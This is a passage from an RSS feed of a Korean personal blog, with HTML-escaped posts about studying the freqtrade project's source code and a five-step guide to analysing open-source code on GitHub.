&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #3a4954; text-align: start;&quot;&gt;main.py를 실행하여 전체 코드가 돌아가게 만든다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;&lt;span style=&quot;color: #3a4954; text-align: start;&quot;&gt;소스코드로 공부가 될까?&lt;/span&gt;&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;단순히 쓰기만 했을 때는 몰랐는데&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;실제로 소스코드를 들여다보며 해당 코드의 작동방식&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;그리고 코드 폴더 구조 방식, 각 함수들의 네이밍 등을 확인하다보니&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;확실히 몰랐던 부분을 좀더 자세히 알 수 있었던 경험!&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;뜯어볼때는 좀 스트레스 받았는데&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;막상 파악하고 나니 희열감이 든다.&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;이런 느낌때문에 코딩이 재밌는게 아닐까!?&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;굿굿&lt;/p&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure contenteditable=&quot;false&quot; data-ke-type=&quot;emoticon&quot; data-ke-align=&quot;alignCenter&quot; data-emoticon-type=&quot;friends1&quot; data-emoticon-name=&quot;002&quot; data-emoticon-isanimation=&quot;false&quot; data-emoticon-src=&quot;https://t1.daumcdn.net/keditor/emoticon/friends1/large/002.gif&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/keditor/emoticon/friends1/large/002.gif&quot; width=&quot;150&quot; /&gt;&lt;/figure&gt;
&lt;p style=&quot;color: #3a4954; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;나머지 문서화나 생각 정리부분은 다음 글에 계속&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>개인프로젝트</category>
      <category>깃허브 contribution</category>
      <category>소스코드</category>
      <category>오픈소스</category>
      <category>오픈소스 contribution</category>
      <category>오픈소스컨트리뷰션</category>
      <category>오픈소스컨트리뷰트</category>
      <category>오픈소스코드분석</category>
      <category>코드분석</category>
      <author>티멀</author>
      <guid isPermaLink="true">https://timmer.tistory.com/351</guid>
      <comments>https://timmer.tistory.com/351#entry351comment</comments>
      <pubDate>Thu, 27 Jun 2024 12:44:16 +0900</pubDate>
    </item>
    <item>
      <title>깃허브 내 오픈소스 코드 분석하는법 총 정리 - 순서대로만 따라하면 이해되는 오픈소스코드 분석</title>
      <link>https://timmer.tistory.com/350</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1.&lt;/b&gt; &lt;b&gt;&lt;span&gt;배경지식을 갖출 것&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #555555; text-align: start;&quot;&gt;정렬이라던가 검색같은데 특정 알고리즘을 사용했다면,&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #555555; text-align: start;&quot;&gt;해당 알고리즘의 작동원리 이해하고 난 후 분석하는 것이 효율적이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #555555; text-align: start;&quot;&gt;만약 해당 지식이 없이 코드로만 이해하려고 한다면, 비효율적인 시간이 수반된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #555555; text-align: start;&quot;&gt;또한, 분석하려는 오픈소스의 도메인이 본인의 관심사에 부합해야한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #555555; text-align: start;&quot;&gt;관심도 없는 오픈소스를 분석하려면 재미가 없어서 고문이 아닐까...?&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2.&lt;/b&gt; &lt;b&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: left;&quot;&gt;큰 그림을 보자&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: left;&quot;&gt;각각의 파일 내 개별 함수부터 파악하기보다는, 먼저 튜토리얼의 문서 및 관련 md 를 먼저 살펴본다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: left;&quot;&gt;오픈소스이므로 소스트리를 막 만들어놓지는 않았기 때문에 (대부분 그럼),&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: left;&quot;&gt;소스트리의 구조와 문서를 비교해가며 소스코드의 큰 그림을 파악한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: left;&quot;&gt;프로젝트 구조 파악이 우선!&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: left;&quot;&gt;왜 이 코드의 기능을 이렇게 설계했을까를 생각하며 파악하자.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 디버거 breakpoint 활용&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;큰 그림을 파악하고 소스코드를 실행시켰을 때&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #666666; text-align: start;&quot;&gt;breakpoint 기능을 이용하여 step 단위로 실행하면서 각 변수의 변화 상태를 확인.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #666666; text-align: start;&quot;&gt;확인해서 소스코드의 실행순서 파악하기&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 문서화&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;머리에만 담고 있으면 분명 기억이 휘발된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;파일 내 주석으로 달고 찾아낸 사실을 문서로 만들자 (ppt, flowchart, 구성도, 마인드맵 등등)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그림 그리면서 구조 파악이 더 잘됨. 팩트&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;542&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dsBbNf/btsIbxg0SEh/d3Zkk5NVq8Ad2AwLBiirBK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dsBbNf/btsIbxg0SEh/d3Zkk5NVq8Ad2AwLBiirBK/img.png&quot; data-alt=&quot;문서화 예시&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dsBbNf/btsIbxg0SEh/d3Zkk5NVq8Ad2AwLBiirBK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdsBbNf%2FbtsIbxg0SEh%2Fd3Zkk5NVq8Ad2AwLBiirBK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;750&quot; height=&quot;542&quot; data-origin-width=&quot;750&quot; data-origin-height=&quot;542&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;문서화 예시&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 생각 정리&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;소스코드를 작성한 사람의 패턴을 보면서,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;나라면 어떻게 짰을까?&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #212529; text-align: start;&quot;&gt;이 코드를 어떻게 하면 개선할 수 있을까?&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;를 생각해보면서 내 방식의 코드대로 migration 해보자!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;해당 방식 활용해서 관심있는 도메인 정리 중&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;1편&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://timmer.tistory.com/351&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://timmer.tistory.com/351&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1719459882048&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;freqtrade 오픈소스 코드 분석해보기! 비트코인 투자 자동화 오픈소스 프로젝트&quot; data-og-description=&quot;개요최근에 관심이 있는 분야이기도하고 회귀 분석 쪽으로도 접목시킬 수 있는 장점이 있어서오픈소스 컨트리뷰터 및 프로그램 개발을 위해 해당 오픈소스 분석 시작!&amp;nbsp;최근 정리한 오픈소스 &quot; data-og-host=&quot;timmer.tistory.com&quot; data-og-source-url=&quot;https://timmer.tistory.com/351&quot; data-og-url=&quot;https://timmer.tistory.com/351&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/12qlA/hyWrMwSIT6/xEKWK56kkiXpfLI2KBfck0/img.png?width=264&amp;amp;height=1093&amp;amp;face=0_0_264_1093,https://scrap.kakaocdn.net/dn/u2glt/hyWrMwSIRv/eQ6PT0gemUo7TJdgLJzBs1/img.png?width=264&amp;amp;height=1093&amp;amp;face=0_0_264_1093,https://scrap.kakaocdn.net/dn/czkhLm/hyWrZ33GTh/xkdcVTQ3Vt7TQcDKMfmWM1/img.png?width=264&amp;amp;height=1093&amp;amp;face=0_0_264_1093&quot;&gt;&lt;a href=&quot;https://timmer.tistory.com/351&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://timmer.tistory.com/351&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/12qlA/hyWrMwSIT6/xEKWK56kkiXpfLI2KBfck0/img.png?width=264&amp;amp;height=1093&amp;amp;face=0_0_264_1093,https://scrap.kakaocdn.net/dn/u2glt/hyWrMwSIRv/eQ6PT0gemUo7TJdgLJzBs1/img.png?width=264&amp;amp;height=1093&amp;amp;face=0_0_264_1093,https://scrap.kakaocdn.net/dn/czkhLm/hyWrZ33GTh/xkdcVTQ3Vt7TQcDKMfmWM1/img.png?width=264&amp;amp;height=1093&amp;amp;face=0_0_264_1093');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;freqtrade 오픈소스 코드 분석해보기! 비트코인 투자 자동화 오픈소스 프로젝트&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;개요최근에 관심이 있는 분야이기도하고 회귀 분석 쪽으로도 접목시킬 수 있는 장점이 있어서오픈소스 컨트리뷰터 및 프로그램 개발을 위해 해당 오픈소스 분석 시작!&amp;nbsp;최근 정리한 오픈소스&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;timmer.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 빠르게 찾기 팁&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.github.com/ko/search-github/searching-on-github/searching-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://docs.github.com/ko/search-github/searching-on-github/searching-code&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1719299033215&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;코드 (레거시) 검색 - GitHub Docs&quot; data-og-description=&quot;코드 검색 API를 사용하는 경우에만 레거시 코드 검색 구문을 사용할 필요가 있습니다.&quot; data-og-host=&quot;docs.github.com&quot; data-og-source-url=&quot;https://docs.github.com/ko/search-github/searching-on-github/searching-code&quot; data-og-url=&quot;https://docs.github.com/ko/search-github/searching-on-github/searching-code&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/pSlSZ/hyWrLxCplJ/rZWdKDEpKnKYYBpmOrc6fk/img.png?width=1200&amp;amp;height=1200&amp;amp;face=0_0_1200_1200&quot;&gt;&lt;a href=&quot;https://docs.github.com/ko/search-github/searching-on-github/searching-code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://docs.github.com/ko/search-github/searching-on-github/searching-code&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/pSlSZ/hyWrLxCplJ/rZWdKDEpKnKYYBpmOrc6fk/img.png?width=1200&amp;amp;height=1200&amp;amp;face=0_0_1200_1200');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;코드 (레거시) 검색 - GitHub Docs&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;코드 검색 API를 사용하는 경우에만 레거시 코드 검색 구문을 사용할 필요가 있습니다.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;docs.github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style2&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;Refs&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://development-crow.tistory.com/21&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://development-crow.tistory.com/21&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1719298687166&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[IT 기술] 오픈소스 분석 방법과 개발자 공부 방법&quot; data-og-description=&quot;[IT 기술] 오픈소스 분석 방법 안녕하세요. 개발자 개발 까마귀입니다. 오늘은 개발 초보자와 그리고 공부법을 모르는 주니어 개발자한테 추천드리는 글입니다. ㅎㅎ 이 글을 작성을 한 이유는 OK&quot; data-og-host=&quot;development-crow.tistory.com&quot; data-og-source-url=&quot;https://development-crow.tistory.com/21&quot; data-og-url=&quot;https://development-crow.tistory.com/21&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bNWMX3/hyWrQyV6cB/ecurOUnB4RZF5RoPj7rjx0/img.jpg?width=800&amp;amp;height=532&amp;amp;face=0_0_800_532,https://scrap.kakaocdn.net/dn/ceF5d6/hyWrNWvcWo/XNdNwXHKiYU9dmV1zwMf1k/img.jpg?width=800&amp;amp;height=532&amp;amp;face=0_0_800_532,https://scrap.kakaocdn.net/dn/kYkWB/hyWrYKunk3/6uZkkCIuuXVx4yMnGKUyv1/img.jpg?width=1920&amp;amp;height=1279&amp;amp;face=0_0_1920_1279&quot;&gt;&lt;a href=&quot;https://development-crow.tistory.com/21&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://development-crow.tistory.com/21&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bNWMX3/hyWrQyV6cB/ecurOUnB4RZF5RoPj7rjx0/img.jpg?width=800&amp;amp;height=532&amp;amp;face=0_0_800_532,https://scrap.kakaocdn.net/dn/ceF5d6/hyWrNWvcWo/XNdNwXHKiYU9dmV1zwMf1k/img.jpg?width=800&amp;amp;height=532&amp;amp;face=0_0_800_532,https://scrap.kakaocdn.net/dn/kYkWB/hyWrYKunk3/6uZkkCIuuXVx4yMnGKUyv1/img.jpg?width=1920&amp;amp;height=1279&amp;amp;face=0_0_1920_1279');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[IT 기술] 오픈소스 분석 방법과 개발자 공부 방법&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;[IT 기술] 오픈소스 분석 방법 안녕하세요. 개발자 개발 까마귀입니다. 오늘은 개발 초보자와 그리고 공부법을 모르는 주니어 개발자한테 추천드리는 글입니다. ㅎㅎ 이 글을 작성을 한 이유는 OK&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;development-crow.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://fishpoint.tistory.com/1097&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://fishpoint.tistory.com/1097&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1719298746242&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;소스코드 분석, 코드 리뷰 분석 방법 모아봤습니다.&quot; data-og-description=&quot;소스코드 분석은 정말 어려운 일입니다. 그러니 오죽하면 분석보다 새로 짜는게 더 쉽다는 말이 나오기도 하고요. 그러나 소스를 본다는것은 새로운 철학을 만나는 것이라고 봅니다. 오래된 코&quot; data-og-host=&quot;fishpoint.tistory.com&quot; data-og-source-url=&quot;https://fishpoint.tistory.com/1097&quot; data-og-url=&quot;https://fishpoint.tistory.com/1097&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/APQu8/hyWrOnzoro/5VoVREBrXtaSfDK40lLWdK/img.gif?width=750&amp;amp;height=511&amp;amp;face=0_0_750_511,https://scrap.kakaocdn.net/dn/bPpxjp/hyWoPuUmKB/voqOGVAkQsk0HDuO2xlS71/img.gif?width=750&amp;amp;height=511&amp;amp;face=0_0_750_511,https://scrap.kakaocdn.net/dn/bYKT6G/hyWrTWIFuY/TTGQz5zZhFgpiDM2kDCa3K/img.jpg?width=667&amp;amp;height=400&amp;amp;face=0_0_667_400&quot;&gt;&lt;a href=&quot;https://fishpoint.tistory.com/1097&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://fishpoint.tistory.com/1097&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/APQu8/hyWrOnzoro/5VoVREBrXtaSfDK40lLWdK/img.gif?width=750&amp;amp;height=511&amp;amp;face=0_0_750_511,https://scrap.kakaocdn.net/dn/bPpxjp/hyWoPuUmKB/voqOGVAkQsk0HDuO2xlS71/img.gif?width=750&amp;amp;height=511&amp;amp;face=0_0_750_511,https://scrap.kakaocdn.net/dn/bYKT6G/hyWrTWIFuY/TTGQz5zZhFgpiDM2kDCa3K/img.jpg?width=667&amp;amp;height=400&amp;amp;face=0_0_667_400');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;소스코드 분석, 코드 리뷰 분석 방법 모아봤습니다.&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;소스코드 분석은 정말 어려운 일입니다. 그러니 오죽하면 분석보다 새로 짜는게 더 쉽다는 말이 나오기도 하고요. 그러나 소스를 본다는것은 새로운 철학을 만나는 것이라고 봅니다. 오래된 코&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;fishpoint.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.popit.kr/%EC%98%A4%ED%94%88%EC%86%8C%EC%8A%A4-%EC%BD%94%EB%93%9C-%EB%B6%84%EC%84%9D-%EC%96%B4%EB%96%BB%EA%B2%8C-%ED%95%98%EB%82%98/&quot;&gt;https://www.popit.kr/%EC%98%A4%ED%94%88%EC%86%8C%EC%8A%A4-%EC%BD%94%EB%93%9C-%EB%B6%84%EC%84%9D-%EC%96%B4%EB%96%BB%EA%B2%8C-%ED%95%98%EB%82%98/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1719298925762&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;오픈소스: 코드 분석 어떻게 하나? | Popit&quot; data-og-description=&quot;Hadoop이나 HBase 등과 같은 솔루션은 문서도 부족하지만 문서로만 설명할 수 없는 복잡한 내용으로 구성되어 있는 솔루션이 많습니다. 따라서 제대로 솔루션을 사용하거나 운영하기 위해서는 소&quot; data-og-host=&quot;www.popit.kr&quot; data-og-source-url=&quot;https://www.popit.kr/%EC%98%A4%ED%94%88%EC%86%8C%EC%8A%A4-%EC%BD%94%EB%93%9C-%EB%B6%84%EC%84%9D-%EC%96%B4%EB%96%BB%EA%B2%8C-%ED%95%98%EB%82%98/&quot; data-og-url=&quot;http://www.popit.kr/오픈소스-코드-분석-어떻게-하나/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/eZ648/hyWrLdjQwS/ugqqgcpP0hVtQgFhM2uwx0/img.jpg?width=585&amp;amp;height=408&amp;amp;face=0_0_585_408,https://scrap.kakaocdn.net/dn/KqaH8/hyWoD2gDFY/r3YKgdi4EpicGzMtDKcnCk/img.jpg?width=585&amp;amp;height=408&amp;amp;face=0_0_585_408,https://scrap.kakaocdn.net/dn/9L1eZ/hyWoAxKHjF/rMKfgJ3mguM7En8NrUI0K1/img.png?width=600&amp;amp;height=434&amp;amp;face=0_0_600_434&quot;&gt;&lt;a href=&quot;https://www.popit.kr/%EC%98%A4%ED%94%88%EC%86%8C%EC%8A%A4-%EC%BD%94%EB%93%9C-%EB%B6%84%EC%84%9D-%EC%96%B4%EB%96%BB%EA%B2%8C-%ED%95%98%EB%82%98/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.popit.kr/%EC%98%A4%ED%94%88%EC%86%8C%EC%8A%A4-%EC%BD%94%EB%93%9C-%EB%B6%84%EC%84%9D-%EC%96%B4%EB%96%BB%EA%B2%8C-%ED%95%98%EB%82%98/&quot;&gt;
